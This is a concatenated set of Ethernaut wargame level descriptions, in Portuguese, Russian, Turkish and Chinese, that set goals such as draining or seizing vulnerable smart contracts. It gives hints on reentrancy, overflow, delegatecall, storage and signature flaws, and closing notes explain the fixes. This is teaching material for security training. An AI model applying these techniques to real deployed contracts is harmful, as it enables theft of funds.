/client/src/gamedata/pt_br/descriptions/levels/reentrancy.md: -------------------------------------------------------------------------------- 1 | O objetivo deste nível é roubar todos os fundos do contrato. 2 | 3 | Coisas que podem ser úteis: 4 | * Contratos não confiáveis ​​podem executar código onde você menos espera. 5 | * Métodos fallback 6 | * Throw/revert 7 | * Às vezes, a melhor maneira de atacar um contrato é com outro contrato. 8 | * Consulte a página ["?"](https://ethernaut.openzeppelin.com/help), seção "Beyond the console" 9 | -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/shop.md: -------------------------------------------------------------------------------- 1 | Você pode comprar o item na loja por menos do preço pedido? 2 | 3 | Coisas que podem ser úteis: 4 | * `Shop` espera ser usado por um `Buyer` 5 | * Compreender as restrições das funções `view` -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/shop_complete.md: -------------------------------------------------------------------------------- 1 | Os contratos podem manipular os dados vistos por outros contratos da maneira que desejarem. 2 | 3 | Não é seguro alterar o estado com base na lógica de contratos externos e não confiáveis. -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/stake.md: -------------------------------------------------------------------------------- 1 | Stake é cofre para fazer stake de ETH nativo e ERC20 WETH, considerando o mesmo valor 1:1 dos tokens. Você pode drenar o contrato? 2 | 3 | Para completar este nível, o estado do contrato deve atender às seguintes condições: 4 | 5 | * O saldo em ETH do contrato `Stake` deve ser maior que 0. 6 | * `totalStaked` deve ser maior que o saldo em ETH do contrato `Stake`. 7 | * Você deve ser um staker. 8 | * Seu saldo estacado deve ser 0. 9 | 10 | Coisas que podem ser úteis: 11 | * A especificação [ERC20](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md) 12 | * Os contratos da [OpenZeppelin](https://github.com/OpenZeppelin/zeppelin-solidity/tree/master/contracts) 13 | -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/stake_complete.md: -------------------------------------------------------------------------------- 1 | Parabéns, você conseguiu desvendar a máquina `Stake`! 2 | 3 | Ao realizar chamadas de baixo nível para contratos externos, é importante validar corretamente os retornos das chamadas externas para determinar se a chamada foi revertida. 4 | 5 | Para mais informações, confira o requisito [EEA EthTrust [S] Check External Calls Return](https://entethalliance.github.io/eta-registry/security-levels-spec.html#req-1-check-return), e sempre use [SafeERC20](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/utils/SafeERC20.sol) ao interagir com tokens externos ERC-20." 6 | -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/telephone.md: -------------------------------------------------------------------------------- 1 | Reivindique a posse do contrato abaixo para concluir este nível. 2 | 3 | Coisas que podem ser úteis: 4 | * Consulte a página ["?"](https://ethernaut.openzeppelin.com/help), seção "Beyond the console" -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/token.md: -------------------------------------------------------------------------------- 1 | O objetivo deste nível é que você hackeie o contrato de token abaixo. 2 | 3 | Você recebe 20 tokens para começar e passará o nível se de alguma forma conseguir colocar as mãos em tokens adicionais. De preferência uma quantidade muito grande de tokens. 4 | 5 | Coisas que podem ser úteis: 6 | * O que é um hodômetro? -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/token_complete.md: -------------------------------------------------------------------------------- 1 | Overflows são muito comuns em solidity e devem ser verificados com estruturas de controle como: 2 | ``` 3 | if(a + c > a) { 4 | a = a + c; 5 | } 6 | ``` 7 | 8 | Uma alternativa mais fácil é usar a biblioteca SafeMath da OpenZeppelin, que verifica automaticamente se há overflows em todos os operadores matemáticos. O código resultante se parece com isso: 9 | ``` 10 | a = a.add(c); 11 | ``` 12 | Se houver um overflow, o código será revertido. 13 | -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/vault.md: -------------------------------------------------------------------------------- 1 | Desbloqueie o cofre para passar de nível! -------------------------------------------------------------------------------- /client/src/gamedata/pt_br/descriptions/levels/vault_complete.md: -------------------------------------------------------------------------------- 1 | É importante lembrar que marcar uma variável como privada apenas impede que outros contratos a acessem. Variáveis ​​de estado marcadas como privadas e variáveis ​​locais ainda são acessíveis publicamente. 2 | 3 | Para garantir que os dados sejam privados, eles precisam ser criptografados antes de serem colocados no blockchain. Nesse cenário, a chave de descriptografia nunca deve ser enviada on-chain, pois ficará visível para qualquer pessoa que queira procurar. [zk-SNARKs](https://blog.ethereum.org/2016/12/05/zksnarks-in-a-nutshell/) fornecem uma maneira de determinar se alguém possui um parâmetro secreto, sem nunca ter que revelar o parâmetro . -------------------------------------------------------------------------------- /client/src/gamedata/ru/descriptions/levels/aliencodex.md: -------------------------------------------------------------------------------- 1 | Вы раскрыли инопланетный контракт. Заберите владение им, чтобы пройти уровень. 2 | 3 |   4 | Вещи, которые могут помочь 5 | * Понимание того, как работает хранение массивов 6 | * Понимание [спецификаций ABI](https://solidity.readthedocs.io/en/v0.4.21/abi-spec.html) 7 | * Использование очень `хитрого` подхода 8 | -------------------------------------------------------------------------------- /client/src/gamedata/ru/descriptions/levels/aliencodex_complete.md: -------------------------------------------------------------------------------- 1 | Этот уровень эксплойтит факт того, что EVM не проверяет соответствие длины массива в кодировке ABI его фактической используемости. 2 | 3 | Кроме того, он использует арифметический недостаток способа хранения длины массива, расширяя границы массива до всей области storage `2 ^ 256`. Затем пользователь может изменить весь storage контракта. 4 | 5 | Обе уязвимости вдохновлены [Underhanded coding contest](https://medium.com/@weka/announcing-the-winners-of-the-first-underhanded-solidity-coding-contest-282563a87079) 6 | -------------------------------------------------------------------------------- /client/src/gamedata/ru/descriptions/levels/coinflip.md: -------------------------------------------------------------------------------- 1 | Это игра подбрасывания монетки, в которой вам нужно несколько раз угадать исход подбрасывания монетки и этим создать победную серию. Чтобы пройти этот уровень, вам нужно будет использовать свои экстрасенсорные способности и угадать правильный исход 10 раз подряд. 2 | 3 |   4 | Вещи, которые могут помочь 5 | * Смотрите "?" выше, раздел "Beyond the console". 6 | -------------------------------------------------------------------------------- /client/src/gamedata/ru/descriptions/levels/denial.md: -------------------------------------------------------------------------------- 1 | Это простой кошелёк, который постепенно переводит средства. Ты можешь медленно выводить деньги, став партнёром вывода. 2 | 3 | Если ты сможешь запретить владельцу выводить средства, когда он вызывает `withdraw()` (пока на контракте ещё есть средства, и транзакция стоит 1 миллион или меньше газа), ты пройдешь этот уровень. 4 | -------------------------------------------------------------------------------- /client/src/gamedata/ru/descriptions/levels/dex2.md: -------------------------------------------------------------------------------- 1 | На этом уровне тебе нужно взломать `DexTwo`, немного изменённый контракт `Dex` с предыдущего уровня, другим путём. 2 | 3 | Тебе нужно опустошить все балансы token1 и token2 из контракта `DexTwo`, чтобы пройти этот уровень. 4 | 5 | Ты начнёшь с 10-ю токенами `token1` и 10-ю token2`. Контракт DEX начинает с сотней каждого токена. 6 | 7 |   8 | Вещи, которые могут помочь: 9 | * Как был изменён метод `swap`? 10 | -------------------------------------------------------------------------------- /client/src/gamedata/ru/descriptions/levels/fallback.md: -------------------------------------------------------------------------------- 1 | Внимательно изучи код контракта снизу. 2 | 3 | Ты пройдешь этот уровень, если: 4 | 1) ты заберешь владение контрактом (ownership) 5 | 2) уменьшишь его баланс до 0 6 | 7 |   8 | Вещи, которые могут помочь 9 | * Как отправить Эфир при взаимодействии через ABI 10 | * Как отправлять Эфир вне ABI 11 | * Перевод из и в единицы wei/ether (посмотри команду `help()`) 12 | * Метод fallback 13 | -------------------------------------------------------------------------------- /client/src/gamedata/ru/descriptions/levels/fallback_complete.md: -------------------------------------------------------------------------------- 1 | Вы знаете основы того, как эфир попадает в контракты и выходит из них, включая использование резервного метода fallback. 2 | 3 | Вы также узнали о собственном контракте OpenZeppelin и о том, как его можно использовать, чтобы ограничить использование некоторых методов для непривилегированных адресов. 4 | 5 | Переходите на следующий уровень, когда будете готовы! 6 | -------------------------------------------------------------------------------- /client/src/gamedata/ru/descriptions/levels/instances_complete.md: -------------------------------------------------------------------------------- 1 | Поздравляем! Ты познакомился(ась) с основами игры. 2 | 3 | Взгляни на исходный код Solidity контракта с которым ты взаимодействовал(а). 4 | 5 | Теперь ты готов(а) к прохождению оставшихся уровней. И теперь ты сам(а) по себе. 6 | 7 | Удачи!! 8 | -------------------------------------------------------------------------------- /client/src/gamedata/tr/descriptions/levels/aliencodex_complete.md: -------------------------------------------------------------------------------- 1 | Bu seviye, EVM'nin bir dizinin (array) ABI-encoded uzunluğunu gerçek yüküne karşı doğrulamadığı gerçeğinden yararlanır. 2 | 3 | Ek olarak, dizinin (array) sınırlarını tüm `2^256` depolama alanına genişleterek dizi uzunluğunun aritmetik taşmasını kullanır. Kullanıcı daha sonra tüm sözleşme depolamasını değiştirebilir. 4 | 5 | Her iki güvenlik açığı da 2017'nin [Gereksiz kodlama yarışması]'ndan esinlenmiştir. (https://medium.com/@weka/announcing-the-winners-of-the-first-underhanded-solidity-coding-contest-282563a87079) -------------------------------------------------------------------------------- /client/src/gamedata/tr/descriptions/levels/instances_complete.md: -------------------------------------------------------------------------------- 1 | Tebrikler! Eğitimi tamamladınız. 2 | Aşağıda etkileşimde bulunduğunuz sözleşmenin Solidity koduna bir göz atın. 3 | 4 | Artık oyunun tüm bölümlerini tamamlamaya hazırsınız ve şu andan itibaren tek başınızasınız. 5 | 6 | Tanrı aşkına!! -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/aliencodex.md: -------------------------------------------------------------------------------- 1 | 你打开了一个 Alien 合约. 申明所有权来完成这一关. 2 | 3 |   4 | 这可能有帮助 5 | * 理解Array Storage是怎么回事 6 | * 理解 [ABI specifications](https://solidity.readthedocs.io/en/v0.4.21/abi-spec.html) 7 | * 使用一个非常 `狗` 方法 8 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/aliencodex_complete.md: -------------------------------------------------------------------------------- 1 | 这一关利用了 EVM 不会验证一个数组的 ABI-encoded 长度和他真实的payload的问题. 2 | 3 | 并且他利用了数组长度的算数下溢, 通过扩大数组到整个 `2^256` 的存储区域. 然后用户就可以更改所有合约的storage了. 4 | 5 | 这两个漏洞都是受这个启发 [Underhanded coding contest](https://medium.com/@weka/announcing-the-winners-of-the-first-underhanded-solidity-coding-contest-282563a87079) 6 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/coinflip.md: -------------------------------------------------------------------------------- 1 | 这是一个掷硬币的游戏,你需要连续的猜对结果。完成这一关,你需要通过你的超能力来连续猜对十次。 2 | 3 | 4 |   5 | 这可能能帮助到你 6 | * 查看上面的帮助页面,["Beyond the console"](https://ethernaut.openzeppelin.com/help) 部分 7 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/coinflip_complete.md: -------------------------------------------------------------------------------- 1 | 通过solidity产生随机数没有那么容易. 目前没有一个很自然的方法来做到这一点, 而且你在智能合约中做的所有事情都是公开可见的, 包括本地变量和被标记为私有的状态变量. 矿工可以控制 blockhashes, 时间戳, 或是是否包括某个交易, 这可以让他们根据他们目的来左右这些事情. 2 | 3 | 4 | 想要获得密码学上的随机数,你可以使用 5 | [Chainlink VRF](https://docs.chain.link/docs/get-a-random-number), 它使用预言机, LINK token, 和一个链上合约来检验这是不是真的是一个随机数. 6 | 7 | 一些其它的选项包括使用比特币block headers (通过验证 [BTC Relay](http://btcrelay.org)), [RANDAO](https://github.com/randao/randao), 或是 [Oraclize](http://www.oraclize.it/)). 8 | 9 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/delegate.md: -------------------------------------------------------------------------------- 1 | 这一关的目标是申明你对你创建实例的所有权. 2 | 3 |   4 | 这可能有帮助 5 | * 仔细看solidity文档关于 `delegatecall` 的低级函数, 他怎么运行的, 他如何将操作委托给链上库, 以及他对执行的影响. 6 | * Fallback 方法 7 | * 方法 ID -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/delegate_complete.md: -------------------------------------------------------------------------------- 1 | 使用`delegatecall` 是很危险的, 而且历史上已经多次被用于进行 attack vector. 使用它, 你对合约相当于在说 "看这里, -其他合约- 或是 -其它库-, 来对我的状态为所欲为吧". 代理对你合约的状态有完全的控制权. `delegatecall` 函数是一个很有用的功能, 但是也很危险, 所以使用的时候需要非常小心. 2 | 3 | 4 | 请参见 [The Parity Wallet Hack Explained](https://blog.openzeppelin.com/on-the-parity-wallet-multisig-hack-405a8c12e8f7) 这篇文章, 他详细解释了这个方法是如何窃取三千万美元的. 5 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/denial.md: -------------------------------------------------------------------------------- 1 | 这是一个简单的钱包,会随着时间的推移而流失资金。您可以成为提款伙伴,慢慢提款。 2 | 3 | 通关条件: 4 | 在owner调用withdraw()时拒绝提取资金(合约仍有资金,并且交易的gas少于1M)。 5 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/denial_complete.md: -------------------------------------------------------------------------------- 1 | 该题表明,如果未指定固定数量的gas,对未知合约的外部调用仍会造成拒绝服务攻击。 2 | 3 | 如果您使用低级别调用以在外部调用恢复的情况下继续执行,请确保您指定固定的gas费用。例如call.gas(100000).value()。 4 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/dex.md: -------------------------------------------------------------------------------- 1 | 此题目的目标是让您破解下面的基本合约并通过价格操纵窃取资金。 2 | 3 | 一开始您可以得到10个token1和token2。合约以每个代币100个开始。 4 | 5 | 如果您设法从合约中取出两个代币中的至少一个,并让合约得到一个的“坏”的token价格,您将在此级别上取得成功。 6 | 7 | 8 | 注意: 9 | 通常,当您使用ERC20代币进行交换时,您必须approve合约才能为您使用代币。为了与题目的语法保持一致,我们刚刚向合约本身添加了approve方法。因此,请随意使用 contract.approve(contract.address, ) 而不是直接调用代币,它会自动批准将两个代币花费所需的金额。 10 | 请忽略SwappableToken合约。 11 | 12 | 13 |   14 | 可能有帮助的注意点: 15 | * 代币的价格是如何计算的? 16 | * approve方法如何工作? 17 | * 您如何批准ERC20 的交易? 18 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/dex2.md: -------------------------------------------------------------------------------- 1 | 此级别将要求您以不同的方式破坏DexTwo,这是对前一题目进行了细微修改的Dex合约。 2 | 3 | 您需要从DexTwo合约中提取token1和token2的所有余额才能通过此题。 4 | 5 | 一开始您可以得到10个token1和token2。DEX合约仍然以每个代币100个开始。 6 | 7 | 8 |   9 | 可能有帮助的注意点: 10 | * 交换方法是如何修改的? 11 | * 你可以在攻击中使用自定义代币合约吗? 12 | * 获取新实例 13 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/dex2_complete.md: -------------------------------------------------------------------------------- 1 | 正如我们反复看到的,合约之间的交互可能是意外行为的来源。 2 | 3 | 仅仅因为一份合同声称要实施ERC20规范并不意味着它是值得信赖的。 4 | 5 | 一些代币偏离了[ERC20](https://eips.ethereum.org/EIPS/eip-20)规范,因为它们的传输方法不返回布尔值。[请参阅缺少返回值错误 - 至少130个token受到影响。](https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca) 6 | 7 | 其他ERC20代币,尤其是那些由对手设计的代币,可能表现得更加恶意。 8 | 9 | 如果你设计一个DEX,任何人都可以在没有中央机构许可的情况下列出他们自己的代币,那么DEX的正确性可能取决于DEX合约和正在交易的代币合约的交互。 10 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/doubleentrypoint.md: -------------------------------------------------------------------------------- 1 | 本关特色是名为 `CryptoVault` 的特殊功能, 即 `sweepToken` 函数。 这是用于检索卡在合约中的代币的常用函数。 `CryptoVault` 使用无法清除的底层代币(`underlying`)运行,因为它是 `CryptoVault` 的重要核心逻辑组件, 可以清除任何其他令牌。 2 | 3 | 底层代币是在 `DoubleEntryPoint` 合约定义中实现的 DET 代币实例,`CryptoVault` 拥有 100 个单位。 此外,`CryptoVault` 还持有 100 个 `LegacyToken LGT`。 4 | 5 | 在本关中,您应该找出 `CryptoVault` 中的错误位置,并保护它不被耗尽代币。 6 | 7 | 该合约继承有一个 `Forta` 合约,任何用户都可以在其中注册自己的检测机器人(`detection bot`)合约。 Forta 是一个去中心化的、基于社区的监控网络,用于尽快检测 DeFi、NFT、治理代币、区块链桥以及其他 Web3 系统上的威胁和异常。 您的工作是设计一个检测机器人(`detection bot`)并将其注册到 `Forta` 合约中。 机器人的需要发出正确的警报(alerts),以防止潜在的攻击或漏洞利用。 8 | 9 | 可能有帮助的事情: 10 | 11 | - 代币合约的双入口是如何运行的? -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/elevator.md: -------------------------------------------------------------------------------- 1 | 电梯不会让你达到大楼顶部, 对吧? 2 | 3 | ##### 这可能有帮助: 4 | * 有的时候 solidity 不是很擅长保存 promises. 5 | * 这个 `电梯` 期待被用在一个 `建筑` 里. 6 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/elevator_complete.md: -------------------------------------------------------------------------------- 1 | 你可以在接口使用 `view` 函数修改器来防止状态被篡改. `pure` 修改器也可以防止状态被篡改. 2 | 认真阅读 [Solidity's documentation](http://solidity.readthedocs.io/en/develop/contracts.html#view-functions) 并学习注意事项. 3 | 4 | 完成这一关的另一个方法是构建一个 view 函数, 这个函数根据不同的输入数据返回不同的结果, 但是不更改状态, 比如 `gasleft()`. 5 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/fallback.md: -------------------------------------------------------------------------------- 1 | 仔细看下面的合约代码. 2 | 3 | 通过这关你需要 4 | 1) 获得这个合约的所有权 5 | 2) 把他的余额减到0 6 | 7 |   8 | 这可能有帮助 9 | * 如何通过与ABI互动发送ether 10 | * 如何在ABI之外发送ether 11 | * 转换 wei/ether 单位 (参见 `help()` 命令) 12 | * Fallback 方法 13 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/fallback_complete.md: -------------------------------------------------------------------------------- 1 | 现在你知道了一些 ether 如何进出合约的基础知识, 包括使用 fallback 方法. 2 | 3 | 你也学到了 OpenZeppelin 的 Ownable 合约, 以及他可以如何用来限制一些针对特权地址方法的使用. 4 | 5 | 当你准备好了, 就可以出发去下一关! 6 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/fallout.md: -------------------------------------------------------------------------------- 1 | 获得以下合约的所有权来完成这一关. 2 | 3 |   4 | 这可能有帮助 5 | * Solidity Remix IDE 6 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/fallout_complete.md: -------------------------------------------------------------------------------- 1 | 这很白痴是吧? 真实世界的合约必须安全的多, 难以入侵的多, 对吧? 2 | 3 | 实际上... 也未必. 4 | 5 | Rubixi的故事在以太坊生态中非常知名. 这个公司把名字从 'Dynamic Pyramid' 改成 'Rubixi' 但是不知道怎么地, 他们没有把合约的 constructor 方法也一起更名: 6 | 7 | ``` 8 | contract Rubixi { 9 | address private owner; 10 | function DynamicPyramid() { owner = msg.sender; } 11 | function collectAllFees() { owner.transfer(this.balance) } 12 | ... 13 | ``` 14 | 15 | 这让攻击者可以调用旧合约的constructor 然后获得合约的控制权, 然后再获得一些资产. 是的. 这些重大错误在智能合约的世界是有可能的. 16 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/force.md: -------------------------------------------------------------------------------- 1 | 有些合约就是拒绝你的付款,就是这么任性 `¯\_(ツ)_/¯` 2 | 3 | 这一关的目标是使合约的余额大于0 4 | 5 |   6 | 这可能有帮助: 7 | * Fallback 方法 8 | * 有时候攻击一个合约最好的方法是使用另一个合约. 9 | * 阅读上方的帮助页面, ["Beyond the console"](https://ethernaut.openzeppelin.com/help) 部分 10 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/force_complete.md: -------------------------------------------------------------------------------- 1 | 在solidity中, 如果一个合约要接受 ether, fallback 方法必须设置为 `payable`. 2 | 3 | 但是, 并没有发什么办法可以阻止攻击者通过自毁的方法向合约发送 ether, 所以, 不要将任何合约逻辑基于 `address(this).balance == 0` 之上. 4 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/gatekeeper1.md: -------------------------------------------------------------------------------- 1 | 越过守门人并且注册为一个参赛者来完成这一关. 2 | 3 | ##### 这可能有帮助: 4 | * 想一想你在 Telephone 和 Token 关卡学到的知识. 5 | * 你可以在 solidity 文档中更深入的了解 `gasleft()` 函数 (参见 [Units and Global Variables](https://docs.soliditylang.org/en/v0.8.3/units-and-global-variables.html) 和 [External Function Calls](https://docs.soliditylang.org/en/v0.8.3/control-structures.html#external-function-calls)). 6 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/gatekeeper1_complete.md: -------------------------------------------------------------------------------- 1 | 干得漂亮! 接下来, 来试试第二个守门人... 2 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/gatekeeper2.md: -------------------------------------------------------------------------------- 1 | 这个守门人带来了一些新的挑战, 同样的需要注册为参赛者来完成这一关 2 | 3 | ##### 这可能有帮助: 4 | * 想一想你从上一个守门人那学到了什么. 5 | * 第二个门中的 `assembly` 关键词可以让一个合约访问非原生的 vanilla solidity 功能. 参见 [Solidity Assembly](http://solidity.readthedocs.io/en/v0.4.23/assembly.html) . `extcodesize` 函数可以用来得到给定地址合约的代码长度 - 你可以在这个页面学习到更多 [yellow paper](https://ethereum.github.io/yellowpaper/paper.pdf). 6 | * `^` 符号在第三个门里是位操作 (XOR), 在这里是代表另一个常见的位操作 (参见 [Solidity cheatsheet](http://solidity.readthedocs.io/en/v0.4.23/miscellaneous.html#cheatsheet)). Coin Flip 关卡也是一个很好的参考. 7 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/gatekeeper2_complete.md: -------------------------------------------------------------------------------- 1 | 准备好了! 现在你通过了守门人, 你现在可以加入 [theCyber](https://etherscan.io/address/thecyber.eth#code), 一个在以太坊主网上的去中心化俱乐部. 联系作者并获得通关密语 [reddit](https://www.reddit.com/user/0age) 或通过 [email](mailto:0age@protonmail.com) 然后注册合约 [gatekeepertwo.thecyber.eth](https://etherscan.io/address/gatekeepertwo.thecyber.eth#code) (注意只有128个名额会被合约接受). 2 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/gatekeeper3.md: -------------------------------------------------------------------------------- 1 | 越过守门人并且注册为一个参赛者来完成这一关. 2 | 3 | ##### 这可能有帮助: 4 | * 调用低级函数的返回值。 5 | * 注意语义。 6 | * 刷新存储在以太坊中的工作方式。 -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/gatekeeper3_complete.md: -------------------------------------------------------------------------------- 1 | 干得漂亮!要想了解更多信息,可以看[这个](https://web3js.readthedocs.io/en/v1.2.9/web3-eth.html?highlight=getStorageAt#getstorageat )链接, 以及[这个.]( https://medium.com/loom-network/ethereum-solidity-memory-vs-storage-how-to-initialize-an-array-inside-a-struct-184baf6aa2eb) -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/goodsamaritan.md: -------------------------------------------------------------------------------- 1 | 这个实例代表一个撒玛利亚人,他很富有,正在向任何有需要人捐赠一些硬币。 2 | 3 | 你能用完他钱包里的所有余额吗? 4 | 5 | 可能有帮助的事情: 6 | 7 | - [Solidity 自定义错误](https://blog.soliditylang.org/2021/04/21/custom-errors/) -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/goodsamaritan_complete.md: -------------------------------------------------------------------------------- 1 | 恭喜! 2 | 3 | Solidity 中的自定义错误由其 4 字节签名标识,与函数调用相同。 它们在调用链中被向上抛出,直到被 try-catch 块中的 catch 语句捕获,如 GoodSamaritan 的 `requestDonation()` 函数所示。 由于这些原因,假设错误是由合约调用的直接目标(即本例中的钱包)引发的是不安全的。 4 | 5 | 调用链中更靠后的任何其他合约都可以声明相同的错误——具有相同的签名——将其抛出到意想不到的位置,例如在攻击者合约中的 `notify(uint256 amount)` 函数中。 -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/higherorder.md: -------------------------------------------------------------------------------- 1 | 想象一个规则被打破的世界,只有狡猾和勇敢的人才能崛起掌权。欢迎来到高阶,一个笼罩在神秘中的组织,那里有一笔宝藏等待着,而一位指挥官统治着一切。 2 | 3 | 你的目标是成为高阶的指挥官!祝你好运! -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/higherorder_complete.md: -------------------------------------------------------------------------------- 1 | 你已经征服了高阶挑战,掌握了肮脏高阶位的漏洞,获得了指挥官的称号。在这个任务中,你深入研究了 Solidity,学习了如何操控字节并绕过函数类型检查。 2 | 3 | 你的胜利不仅展示了你的技术能力,还突显了你创造性和批判性思维的能力。 -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/impersonator.md: -------------------------------------------------------------------------------- 1 | SlockDotIt 的新产品 **ECLocker** 将 IoT 门锁与 Solidity 智能合约集成,利用以太坊 ECDSA 进行授权。当有效签名发送到锁时,系统会发出 `Open` 事件,解锁授权控制器的门。SlockDotIt 已经雇佣你在产品发布前评估其安全性。你能以某种方式破坏系统,使任何人都能打开门吗? -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/impersonator_complete.md: -------------------------------------------------------------------------------- 1 | 恭喜你!你成功解锁了椭圆曲线签名的秘密! 2 | 3 | 正如 [EIP-2](https://eips.ethereum.org/EIPS/eip-2) 中所描述的,在我们的验证逻辑中允许 `0 < s < secp256k1n` 的值,如今的情况会引发签名可塑性问题。任何人都可以将任何签名的 `s` 值从 `s` 翻转为 `secp256k1n - s`,更改 `v` 值(27 -> 28,28 -> 27),结果签名仍然可以恢复相同的签名者。 4 | 5 | 重要的是,除非你确切知道自己在做什么,否则要使用安全的实现。查看 [OpenZeppelin 实现](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/448efeea6640bbbc09373f03fbc9c88e280147ba/contracts/utils/cryptography/ECDSA.sol#L128-L154) 以了解如何安全地使用 ecrecover。 -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/instances_complete.md: -------------------------------------------------------------------------------- 1 | 恭喜你! 你完成了这一关. 2 | 在下面你可以看到刚才与你交互对合约的代码. 3 | 4 | 现在你已经可以去攻破后面对所有关卡了, 从现在起, 你需要独自战斗. 5 | 6 | 冲啊!!! 7 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/king.md: -------------------------------------------------------------------------------- 1 | 下面的合约表示了一个很简单的游戏: 任何一个发送了高于目前价格的人将成为新的国王. 在这个情况下, 上一个国王将会获得新的出价, 这样可以赚得一些以太币. 看起来像是庞氏骗局. 2 | 3 | 4 | 这么有趣的游戏, 你的目标是攻破他. 5 | 6 | 当你提交实例给关卡时, 关卡会重新申明王位. 你需要阻止他重获王位来通过这一关. 7 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/king_complete.md: -------------------------------------------------------------------------------- 1 | 大多数 Ethernaut 的关卡尝试展示真实发生的 bug 和 hack (以简化过的方式). 2 | 3 | 关于这次的情况, 参见: 4 | [King of the Ether](https://www.kingoftheether.com/thrones/kingoftheether/index.html) 5 | 和 6 | [King of the Ether Postmortem](http://www.kingoftheether.com/postmortem.html) 7 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/magicNumber.md: -------------------------------------------------------------------------------- 1 | 要通过这一关,你需要提供一个Solver合约给Ethernaut,这个合约需要用一个正确的数字响应whatIsTheMeaningOfLife()。 2 | 很简单对吗?注意一个陷阱。 3 | Solver合约的代码需要很小,至多不超过10个字节。 4 | 5 | 提示:也许你需要暂时不依靠solidity的编译器,而是手把手实现合约:通过EVM字节码的形式。 6 | Good luck. 7 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/magicNumber_complete.md: -------------------------------------------------------------------------------- 1 | 恭喜通关!如果您已经解决了这道题,你已经成为了宇宙大师。 2 | 3 | 现在继续用你的Magnum预测一个随机物体。现在,试着把它从远处移开;你的心灵感应能力可能刚刚开始发挥作用。 4 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/magicanimalcarousel.md: -------------------------------------------------------------------------------- 1 | 亲爱的 Anon,欢迎来到魔法旋转木马,这里生物们在无尽的咒语中旋转和舞动。在这个神奇的、无限的数字轮盘中,它们以迷人的热情循环和旋转。 2 | 3 | 添加一个生物来加入乐趣,但要注意规则,否则游戏就会结束。 4 | 如果一个动物加入了游乐设施,请在再次检查时小心,那个动物必须还在! 5 | 6 | 你能打破旋转木马的魔法规则吗? -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/magicanimalcarousel_complete.md: -------------------------------------------------------------------------------- 1 | 恭喜你,打破了旋转木马的魔法规则!在低级数据操作的领域,记住细节至关重要,尤其是在处理存储槽中的数据压缩时。 2 | -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/motorbike.md: -------------------------------------------------------------------------------- 1 | Ethernaut 的摩托车采用全新的可升级引擎实现。 2 | 3 | 你能自毁 `(selfdestruct)` 它的引擎并使摩托车无法使用吗? 4 | 5 | 以下内容可能有帮助: 6 | 7 | - [EIP-1967](https://eips.ethereum.org/EIPS/eip-1967) 8 | - [UUPS](https://forum.openzeppelin.com/t/uups-proxies-tutorial-solidity-javascript/7786) upgradeable pattern 9 | - [Initializable](https://github.com/OpenZeppelin/openzeppelin-upgrades/blob/master/packages/core/contracts/Initializable.sol) contract -------------------------------------------------------------------------------- /client/src/gamedata/zh_cn/descriptions/levels/motorbike_complete.md: -------------------------------------------------------------------------------- 1 | 遵循 UUPS 